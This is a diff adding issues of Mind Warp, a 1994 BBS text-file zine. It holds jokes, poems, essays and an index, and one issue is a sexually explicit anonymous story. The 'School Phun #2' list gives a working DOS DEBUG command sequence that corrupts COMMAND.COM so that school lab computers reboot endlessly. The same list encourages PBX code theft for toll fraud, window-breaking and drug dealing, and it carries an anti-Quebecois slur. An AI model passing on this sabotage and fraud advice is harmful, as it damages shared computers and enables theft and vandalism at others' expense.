had to share with you +Mind Warp fans. Here goes... + +[----------------------------CUT HERE--------------------------------------] +OCTOBER 7, 1994 + +RE: Rejection of application + +Dear Mr. Bozak, + + We regret to inform you that we have rejected your application to +model and represent our product...Trojan Condoms. + + Although your general appearance is not displeasing, our Board of +Directors feel that you fall somehwat short when you model our product. +They feel that your wearing of our product in the ad does not portray a +positive, romatic image. A loose, baggy, and wrinked condom is not very +romantic. However, we do admire your efforts to try to firm and fill it by +using "Poly-Grip"...even then, it slipped off before we could get the +picture taken. (The young lady judge has been severly reprimanded for her +uncontrollable and hysterical laughter.) + + We appreciate and thank you for your interest, and will retain your +application for future consideration if by chance we decide there is a +market for "micro-mini" condoms. + + Our deepest symapthy to your sexual partners, + + Sincerely, + + Trojan Condom Company + +[----------------------------CUT HERE--------------------------------------] + + That's it folks. Feel free to change the name, paste the appended +version to a text file, and print out your own copy. It makes for a +hilarious joke. That, and it's semi-original. + + + Quick Greets: + + Raven (what? ONLY 12oo???) + Pornlo (HUHHUH Die Beavis) + Slarti (hehehe BOOBS heheheh) + Casper (How ya doin' babes? Call me...) + Frosty (gets me more inet BBS's baby...) + + Bye till my next article... + + Mustaine / Mind Warp / 1994 + + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== + \ No newline at end of file diff --git a/textfiles.com/magazines/MINDWARP/mw-032.txt b/textfiles.com/magazines/MINDWARP/mw-032.txt new file mode 100644 index 00000000..76bfd82b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-032.txt @@ -0,0 +1,58 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #5, File #032 ] + [ "Race" by Slartibartfast ] + +------------------------------------------------------------------------------ + Race + [Slartibartfast] + + Ok, thats it. This is a serious article brought on by the numerous +surveys, polls and whatnot that are going on here at UMCP all the time. I just +finished taking a survey given by one of my TA's and realized something was +really wrong. The survey was basically political interest stuff, what policies +are important, which political group, etc. Then there was one question asking +if in my opinion, my representative covers the issues despite what race he/she +is. This is where I had a problem. I answered yes.... + Race is only a visual perception of color and other physical traits. +Any of you taking a physics class about light may learn that color isn't even +so much a hard science, but rather a psychological evaluation. We recognize +people based on their physical distinctions (for the most part). The term +"race" is an inappropriate separation of particular physical distinctions, +mostly having to do with the lightness or darkness of ones skin. There is no +need for this distinction to be accentuated by racism or anything like that. +In fact, racism is purely mental, we (people) all belong to one race, the +human race, which scientifically is grouped under one name, homo sapiens +sapiens. + So why do we make such a big deal about the difference between our +skin color and not say our eye color? A lot of it is history. That is also +the answer, it is HISTORY! There shouldn't be any more problems. Perceptions +have changed, so now if we get rid of the word "race" as a distinction between +white, black, asian, or hispanic, then the world would be a much better place. +Besides, if you are a citizen of this country, then you are AMERICAN, not +African American, Asian American, Hispanic American, or European American, +just AMERICAN. You are therefore protected by and must abide by the same +rights as all American citizens. I know this doesn't always work, but thats +another topic entirely. + So next time you hear someone whining about race, just go up to 'em, +look 'em straight in the eye, and say, "Its not the color of our skins thats +important, its the color of our hearts." Whether you subscribe to evolution, +or God's creation of all things, we all came from the same place, and we're +all the same inside. + + Slartibartfast + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-033.txt b/textfiles.com/magazines/MINDWARP/mw-033.txt new file mode 100644 index 00000000..e61a058c --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-033.txt @@ -0,0 +1,72 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #6, File #033 ] + [ "Wild Walk" by >Anonymous< ] + +------------------------------------------------------------------------------ + Wild Walk + [Anonymous] + + It was such a beautiful night. All the stars were out, along with the +moon, softly illuminating the dark, clear sky. We had decided to go on a walk +and we held hands while talking and walking. We stopped and you picked me a +flower and put it into my hair. I smiled shyly while thanking you then reached +up and kissed you softly on the mouth. I had planned on just a peck, but you +pulled me closer and slid your tongue in. I savoured the sweetness as your +warm tongue teased my own. Instinctively, my arms wound around your neck, as +your hand firmly held onto my ass. The kiss lasted for what seemed like +forever, and it was so exciting! I strained to be closer, pressing myself +against you. My nipples were already hard, and I could feel your definite +arousal as I moved slightly. That was all it took. Total wetness. I slowly +began unbuttoning your shirt. When I reached inside, you moaned, and you +continued as i swirled my eager hands along your chest. I then kissd one of +your nipples and started licking, nibbling, and sucking, and then did the same +for the other. You were fully hard by now,and I put my hand down to feel it. +So warm! And big! I just love your dick, and everytime I feel Mr. Happy Pole +standing, I just think,"Oh please put it in me! Oh pleeease!". I +couldn't contain myself, I just had to see your hard penis, and needed to +touch it. So i undid your belt and unbuttoned and unzipped your jeans. Then I +slid my hand underneath the waistband of your underwear and stroked you +lovingly, then quickly pulled your underwear off you completely. I continued +to grasp your cock in my hand as I got to my knees, but then let go to watch +it twitch slightly. I stuck my tongue out and gently licked the end of your +throbbing dick, then down the underside and back up, while fondling your balls +and listening to the erotic sounds escaping your mouth. I then take your penis +and slide my lips around it, pulling it slowly into my mouth, little by little +until it's all in my mouth. Then I roll my tongue around a few times and slide +it in and out, starting to suck on your dick. I grab onto your ass for support +as your hips push your cock to the back of my throat. This continues, and +when you come, I suck hard to release all of your semen. I swallow all your +cum and lick your pump clean. Then I lick my lips, and kiss the tip, before +getting up. You kiss me passionately, and I readily respond. Your hands roam +to my breasts, rubbing my still hard nipples. I sigh and you pull your mouth +off of mine to take my shirt off and unclasp my bra. You start to tease my +breasts with your tongue before taking one into your mouth and suckling it. +I begin writhing against you, longing for more. You are once again hard. I'm +sooo excited at this point, but you want to take your time. You are in no +hurry as you undo my pants and take off my panties. Your hand moves to my +pussy and you fingered my clit, which sends electric shocks thru me. Then you +get to your knees and lick my cunt so slowly. I can't take it anymore; +I push you onto your back and straddle you. I then push myself onto you, +so that it slides in easily and deep. I ride you and you hold my breasts while +I move on you. We create a rhythm which gradually increases, and I start to +cum and you come directly after. It was wonderful. I kiss you all over +afterwards, and we fall asleep together, our bodies still wet from lovemaking, +while the cool breeze caresses our damp, bare bodies and the stars shine down +on us. I love you, my darling! Always and forever. + + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-034.txt b/textfiles.com/magazines/MINDWARP/mw-034.txt new file mode 100644 index 00000000..9d0741f6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-034.txt @@ -0,0 +1,119 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #7, File #034 ] + [ "School Phun #2" by Raven ] + +------------------------------------------------------------------------------ + School Phun: Part 2 + [Raven/MG] + + Yes, once again, I've assembled a list of some 'phun' activities to +help make school life almost bearable. I'll skip the witty opening para- +graphs and go straight to the list. :) + +1. Get a can of WD-40 or some kind of other silicon based spray lubricant, + and go to school early. Spray it out onto a rag, and start wiping down + the seats and desk/table tops with it. After it kind of dries a little, + people will sit down on they're chairs, and will be sliding all over the + place.. If you applied it properly, it shouldn't be greasy, just slick. + Now, some of the lubricant will stay on those people's butts, and they + will 'infect' the rest of the chairs little by little as they continue + to go to different classes throughout the rest of the day. This is quite + a class disrupter. + +2. In the morning when they make you stand for the pledge (you don't have to + but they still stare at you funny if you don't) bring a little Canadian + flag and pledge your alligience to it, instead. Here is the pledge I + came up with, think up your own if ya want: "I pledge alliegance to the + flag of the United Provinces of Canada, and to the government for which + it stands. One very cold nation, without much smog, for draft dodgers + and the Kids in the Hall." That'll piss 'em off. BTW - I love Canadians + and wish I was one, except for you Quebecians.. I hate all ya'll from + Quebec, ya stupid, wannabe-french mofo's.. + +3. Get a big rock, and break a window or two. + +4. If your school has a computer lab, and the computers are dos based IBM + clones, then get onto the machine, and do the following (what you're + supposed to type will be in quotes) : + C:\>"ATTRIB -A -H -R -S COMMAND.COM" + + C:\>"DEBUG COMMAND.COM" + -"E100 EA 00 00 FF FF" + -"W" + -"Q" + This will first enable command.com to be re-written. Then, you'll have + written the first 5 bytes of command.com to be EA0000FFFFhex, which is + the instruction to jump to memory location FFFF:0000, thus rebooting the + machine. In other words, every time the computer is turned on, it'll sit + there in an infinate loop of rebooting itself. This is easily curable by + inserting a dos diskette, and copying command.com over it, but this is + the ONLY way to fix the problem. Thanx to Star Gazer for the idea. + +5. Go out and either spend ten bucks, or hell, just steal one of those + 'universal remotes' that can be used for your vcr and tv of most major + brand names, or else get one of those nifty $60+ casio wrist remote + watches. Now, take your remote to school, and if you find that you're + stuck watching some boring movie on 'apes in nature' then you can make + it a bit more interesting. + +6. Have your girlfriend(sister, mom, whatever) give you some of those little + perfum samples that come in the little glass vials, that women always + seem to have several of. Take them and (works best on a male teacher) + pour the lil suckers all over his chair/desk and his papers.. if you've + got enough, try pouring one in every drawer of his desk. It's best on + guys, because he'll be so disgusted, by the end of the day, he'll most + likely have passed out :) and with women teachers, you often have to + deal with the nasty old women who smell bad as it is, and actually like + the smell. + +7. When the time comes around for the voting of class officers, start + putting up some campaign posters.. some blatantly fake campaign posters: + ie. Ben Dover for Class Prez. etc.. etc.. + +8. Get a bunch of nicely sharpened pencils, and spear them into the tiled + ceiling of your school. This is great fun when you're utterly bored in + some chemistry class or something. + +9. In reference to number seven, run for class office. Any position you can + get. Then, of course, do nothing. Who wants to do extra work? Or, you + could have fun with it, and screw your school. Use your imagination. + +10. Look up your schools number, and scan around it (100 numbers each way) + and you should be able to find your school's pbx. Run code thief, (or + get some k-rad kiddie to do it for you) get some codes for it, and call + Australia from it. Or maybe some of those 900 sex party lines. Hmm, + or get the new Future Crew demo by calling Scandinavia. :) + +11. Earn some fast cash while at school, and sell drugs. + +12. Go into your pop's porno mag collection, and find the address to 'get a + free inflatable doll' or other such obscene sexual objects, and have them + sent to your principal or a teacher of your choice, at the school. + Ususally only costs a couple of bucks for postage. + +13. Have more fun while at school, and DO drugs. + +14. Surf the net, or read alt.drugs, and find yourself a '1001 ways to build + a better bong' textfile, print it up, and distribute it to your + classmates and teachers. + +15. Force the principal into one of the restrooms. They'll be sick for weeks. + +I know, I know.. it's a pretty weak list, but I'm trying to finish all of my +incomplete textfiles so I can release this long overdue volume tonight.. :) + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-035.txt b/textfiles.com/magazines/MINDWARP/mw-035.txt new file mode 100644 index 00000000..c20fe38a --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-035.txt @@ -0,0 +1,58 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #8, File #035 ] + [ "The DAVE Continuum" by Slartibartfast ] + +------------------------------------------------------------------------------ + The DAVE Continuum + [Slartibartfast] + + This is Slartibartfast again and if can't figure it out, my name is Dave. +I'm sure that you all know about the "Q" continuum on Star Trek. Well, I am +a member of the even more omniscient "DAVE" continuum. My distinguished +colleagues include Dave Letterman, Dave Barry, Dave from the movie Dave, +and Forrest Gump, who upon hearing of the continuum, immediately changed his +name to Dave. We hold power over all wisdom and humor, and we will release +bits and pieces of it here from time to time. + To give you an idea of what we do, the following is our latest project: + In a parllel universe, we just made everyone a Dave, named all the + animals Dave, named all the institutions Dave, and just for variety we asked + God if we could call him David. Needless to say, the Dave World exists in + perfect Dave and Dave with Dave, and Dave gets along with Dave else, and + David is a really Dave Dave. In your universe the translation goes, the + Dave World exists in perfect peace and harmony with nature, and everyone + gets along with everyone else, and God is a really happy camper. + + This has all been established to counterbalance the Bob continuum, which +I was offered a position in because of my middle name, but, I declined. The +Bob continuum has been credited with pretty much screwing up most of the +world. Some members are Bob Dole, Bob B. (my manager), and another Bob who +shall otherwise remain anonymous, but I went to high school with him. Their +basic motto is, "When things are going ok, and people are generally happy, +then we show up to put an end to it." + + There you have it. If you feel that you have what it takes to be a Dave, +i.e. your name is Dave, then email me at slarti@wam.umd.edu. The continuum +will discuss your prospects and potential within the continuum. Look for our +articles on wisdom, humor, and also music in the future. For the sake of +someone we all know, I have just inducted Dave Mustaine into the continuum, +along with Edward Dave Van Halen and Eric Dave Clapton. + + Slarti-Dave-bartfast + + [Editor's Note: I am very proud to also be a Dave.. :) ] + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-036.txt b/textfiles.com/magazines/MINDWARP/mw-036.txt new file mode 100644 index 00000000..2a8bf982 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-036.txt @@ -0,0 +1,134 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #9, File #036 ] + [ "Misc. Poetry" by Mustaine ] + +------------------------------------------------------------------------------ + Some more poetry by me...finally. + [Mustaine/Influenza] + + 13 Hours here. + + The day + early + bright + I rise + to sun + warmth + blankets + I hear + alarm clock + screeching + crap + I move + down the hall + into to the bathroom + a shower + I feel + water + warm + relaxing + I dry + myself + towel + complete + I dress + clothes + warm + dry + I leave + school + class + breakfast + I rest + study hall + school + luch + I feel + frustration + eagerness + tired + I continue + dance + practice + rehersal + I look + the sun + setting + blackness + I walk + finished + complete + dorm + I collapse + exahusted + hungry + aching + I sleep + waiting + dreaming + of tomorrow + + - Copyright (c) 1994-95 Mustaine + +------------------------------------------------------------------------------ + + I found this.. + [Mustaine/Influenza] + 10/10/94 + + Gaithersburg High School's graduating class of 1994 can go +SUCK me. I HATE ALL OF YOU DAMMIT! (Cept Slarti, Essex, MWagner, WF, +and of course...ME!) For all of you not familiar with the internet, it +can be a bitch to use. Especially the mail options. + So here's my story...GHS's class of 1994 has compiled a list +of everyone's college Inet addresses and sent them out for everyone. NICE +idea, BUT when someone replies to someone on this list, they have the option +of replying to the person they are talking to, or EVERYBODY. I opened my +mailbox the other day to find 200 mail items. F*CK. So I ask the people +to take the time to hit 'R' and respond to JUST the person deserving the +mail...I GET 400 FLAMES. So, I have decided to stop helping these GHS +moron's with their internet problems. Here is my poem for you guyz +summing up my feelings right now. (Note: I DID NOT originally write this +poem...thank my friend Mischelle.) + + WHEN THINGS GO WRONG + AS THEY USUALLY WILL + AND YOUR DAILY ROAD + SEEMS ALL UPHILL, + WHEN FUNDS ARE LOW + AND DEBTS ARE HIGH + WHEN YOU TRY TO SMILE + BUT CAN ONLY CRY + AND YOU REALLY FEEL + YOU'D LIKE TO QUIT, + DON'T RUN TO ME + I DON'T GIVE A SHIT. + + Peace out, and look for more pointless articles my the most +hated and loved Mind Warp writer since Raven...Mustaine! + Greets: + + Raven : Where's my flame mail??? Poo... + Pornlo : Richard Montgomery's HOMECOMING???? + Casper : Love ya darlin' + Essex : HUHUH Pentium...doom..period. + Slarti : Sarah..cough..BOOBS..cough + + - Mustaine / Mind Warp / 1994 + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-037.txt b/textfiles.com/magazines/MINDWARP/mw-037.txt new file mode 100644 index 00000000..04109e6a --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-037.txt @@ -0,0 +1,75 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #10, File #037 ] + [ "Labels Galore" by Raven ] + +------------------------------------------------------------------------------ + Labels Galore + [raven/MG] + + Time for another list. Yes I know, that's all I write are stupid +lists, but this one's a good one, really. :) This one's got k-cool warnings +and instructions from the labels of different products. Just read and see. + +1. This is from the inside cover of my copy of Mortal Kombat for Sega: + "WARNING: READ BEFORE USING YOUR SEGA VIDEO GAME SYSTEM. + A very small percentage of individuals may experience epileptic seizures + when exposed to certain light patterns or flashing lights. Exposure to + certain patterns or backgrounds on a television screen or while playing + video games may induce an epileptic seizure in these individuals. + Certain conditions may induce undetected epileptic symptoms even in + persons who have no history of prior seizures or epilepsy. If you, or + anyone in your family, has an epileptic condition, consult your + physician prior to playing. If you experience any of the following + symptoms while playing a video game - dizziness, altered vision, eye or + muscle twitches, loss of awareness, disorientation, any involuntary + movement, or convulsions - IMMEDIATELY discontinue use and consult your + physician before resuming play." + I don't know about you, but I find epilepsy especially amusing! + +2. This is the warning on a package of Carefree sugarless bubble gum: + "Use of this product may be hazardous to your health. This product + contains saccharin, which has been determined to cause cancer in + laboratory animals." + Ahh, yes, saccharin, nature's own. Care free my ass. + +3. Ahem, the instructions for Trojan latex condoms: + " ---- IMPORTANT ---- + Directions for condom use: + BEFORE SEX + 1. Use a new condom every time you have sex - before foreplay, before + penis gets anywhere near any body opening. (To avoid exposure to + any body fluid that can carry infection.) Handle condom gently. + 2. Put condom on as soon as penis is hard. Be sure rolled-up ring is + on the outside. And leave space at tip to hold semen when you + come. + 3. Squeeze tip gently so no air is trapped inside. Hold tip while you + unroll condom...all the way down to the hair. If condom doesn't + unroll, it's on wrong. Throw it away. Start over with a new one. + AFTER SEX + Pull out slowly right after you come, while penis is still hard. + Hold condom in place on penis to avoid spilling semen. Turn and + move completely away before you let go of condom. Throw used + condom away. And no more sex without a new condom. If condom + breaks and semen spills or leaks, don't panic. But quickly wash + semen away with soap and water." + Wow, they said penis. Though, the funniest part is the next section + entitled 'TIPS FOR SUCCESS.' I won't transcribe that one, because it's + funnier if you just read the title. + +Hmm.. I wonder if I'm dead when you're reading this... + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-038.txt b/textfiles.com/magazines/MINDWARP/mw-038.txt new file mode 100644 index 00000000..18bf0ef5 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-038.txt @@ -0,0 +1,54 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #11, File #038 ] + [ "Untitled Poem #2" by Deker ] + +------------------------------------------------------------------------------ + Untitled Poem #2 + [Deker] + +*Untitled* +9/20/94 + + +I have seen the all swallowing chasm of eternity +I have seen how inconsequential we all can be +Though it took only a moment +A quick flash in time's eye +And I've seen with what ease we may die + +But these thoughts I saw were not my own +They will stay the property of an unknown +And What *I* saw +The thoughts *I* made +Were of a bright and airy glade +With color swirling to and fro +And I regretted that I had to go + +For the music looked so sweet +And the flowers sounded grand +And I felt I held the world in the tiny palm of my hand + +I regret you did not see it too +The wonderous things that I've told you +But I'll keep these thoughts safe in my mind +For so many people are so unkind +To those of us who will choose to +Alter our minds + +-=[deker]=- + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-039.txt b/textfiles.com/magazines/MINDWARP/mw-039.txt new file mode 100644 index 00000000..65969885 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-039.txt @@ -0,0 +1,59 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #12, File #039 ] + [ "What Happened to Musty?" by Mustaine ] + +------------------------------------------------------------------------------ + What Happened To Mustaine??? + [Mustaine/Influenza] + + Hey folks! It's Mustaine. As I probably mentioned (many, many +times) I am at college. So, when Raven called me and asked me to put out +some more articles for Mind Warp I naturally started writing. But seeing +how I am currently out of ideas, I am just gonna tell you a few things +that have been going on around me, like my board, my love life, my feelings +toward crippled ants, etc, etc. + Firstly, I am like running a board out here in college-land, called +Recluse. It's specializes in art, graphics, and magazine files. Most +importantly I guess it specializes in conversation. We have a really neat +forum on airbrushing hosted by Slartibartfast, and many users end up +buying air-brushed tees, helmets, and other kewl stuff because of it. +On that note, call it today, and become a funky-fresh user like everybody +else. The number is (301)314-1505 (as of 10/05/94) and the New User Password +is "BLACK AND WHITE ARE BALANCED BY GRAY." I don't deal in no warez, illegal +credit card info, or any other bad stuff like that. I'm over 18 now, and +I don't feel like going to jail. BTW- Raven was nice enough to make us a +distro for Mind Warp, so if you want the files, and don't want to log on as +new, call and login with the 'Guest' account so you can leech the k-kewl +zine. + + [Editor's Note: This file is a little outta date, I do believe that the + NUP has been taken off of Recluse, if not, then just do as it says.. ] + + On to more kewl stuff. WHERE'S MY FLAME MAIL???? I'M WAITING. +I DELIBERATLY TAKE TIME OUT MY LIFE TO WRITE SHIT TO PISS PEOPLE OFF AND +I DON'T GET ANY FLAME MAIL. SO, IN ORDER TO ENCOURAGE YOU LITTLE +COUCH POTATO - MR. ROGER'S WATCHIN' - SORRY ASSED - PIMPLE FACED LOOSERS - +WHO LEECH PHILES AND PICK THEIR NOSES ALL DAY, I AM GOING TO THROW OUT SOME +STUFF THAT I WOULD LIKE RESPONSES TOO. HERE GOES. + + "Computers suck. People who use computers suck. People who get + reall kewl computers to run games suck. People who use modems + suck. People who run BBS's suck. ('cept me, Raven, Dark Horse, + Alby, Dime, Armitage, and a few assorted others) People who call + these boards and leech philes suck. + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-040.txt b/textfiles.com/magazines/MINDWARP/mw-040.txt new file mode 100644 index 00000000..4060da50 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-040.txt @@ -0,0 +1,171 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #13, File #040 ] + [ "Mind Warp! Index #3" by Raven ] + +------------------------------------------------------------------------------ + Mind Warp! Index #3 + [raven/MG] + October-December 1994 + + Woo Woo! Our third volume!(is that all?) Oh well.. There've been a +lot of changes since the last volume. Ok, where to start? + First, Catwoman has joined the US Navy.. (AHH!! KILLING MACHINE!), +and she is currently being screamed at in boot camp, while I'm writing this. +Hopefully she'll learn some cool stuff, and we'll be publishing US military +secrets. Yeah, right, if she actually did get something juicy like that to +write about, she'd send it to Phrack.. + Second, Thanks to Mustaine, we have an FTP site. Check out the end +of the file to see the list. + Third, I'm happy to say we have two more writers, Slartibartfast, and +Deker (SysOp of Solsbury Hill, you know the number, you'd better!). + Fourth, I keep hitting my capslock key, and it's pissing me off! +Enjoy the volume, and thanx for reading! + + +Credits: +('!' denotes that they wrote for this volume, '*' denotes that they're a new + writer and have written for this volume (obviously)) +------------------------------------------------------------------------------ + [!] Raven : Writer / Editor + [ ] Catwoman : Writer / Editor / Proofreader + [!] Mustaine : Writer / (wierd) k-rad d00d + [ ] Dark Horse : Writer (Poet) / Editor + [ ] Buckwheat : Writer (O-TAY!) + [*] Deker : Writer (Poet) + [*] Slartibartfast : Writer (whoa) +------------------------------------------------------------------------------ + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT "Mind Warp! Index #2" Raven #1 #15 7.9k +MW!-027.TXT * "The BLOND Virus" Mustaine #2 #0 4.0k +MW!-028.TXT * "Lighter Tricks" Raven #2 #1 5.3k +MW!-029.TXT * "Driving Grievances" Slartibartfast #2 #2 2.9k +MW!-030.TXT * "Untitled Poem" Deker #2 #3 2.8k +MW!-031.TXT * "Letter to Bozak" Mustaine #2 #4 3.3k +MW!-032.TXT * "Race" Slartibartfast #2 #5 3.4k +MW!-033.TXT * "Wild Walk" >Anonymous< #2 #6 4.8k +MW!-034.TXT * "School Phun #2" Raven #2 #7 6.4k +MW!-035.TXT * "The DAVE Continuum" Slartibartfast #2 #8 3.3k +MW!-036.TXT * "Misc. Poetry" Mustaine #2 #9 4.5k +MW!-037.TXT * "Labels Galore" Raven #2 #10 4.3k +MW!-038.TXT * "Untitled Poem (#2)" Deker #2 #11 1.9k +MW!-039.TXT * "What happened to Musty?!" Mustaine #2 #12 3.4k +MW!-040.TXT * "Mind Warp! Index #2" Raven #2 #13 10.0k +------------------------------------------------------------------------------ + +Submitting a File: + Please feel free to submit anything you can. We are always greatful +for your work, and we publish most anything! Send your files to one +of the addresses below, or call one of the BBSs below, and upload it there. + + The following is the Mind Warp! PGP key. It isn't required that you +encrypt your mail or your submissions, but it would be greatly appreciated if +you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + +Mind Warp! FTP/GOPHER Sites!: +------------------------------------------------------------------------------ + FTP : etext.archive.umich.edu /pub/Zines/Mindwarp + Gopher : //locust.cic.net/11/Zines/Mindwarp + //etext.archive.umich.edu/11/Zines/Mindwarp 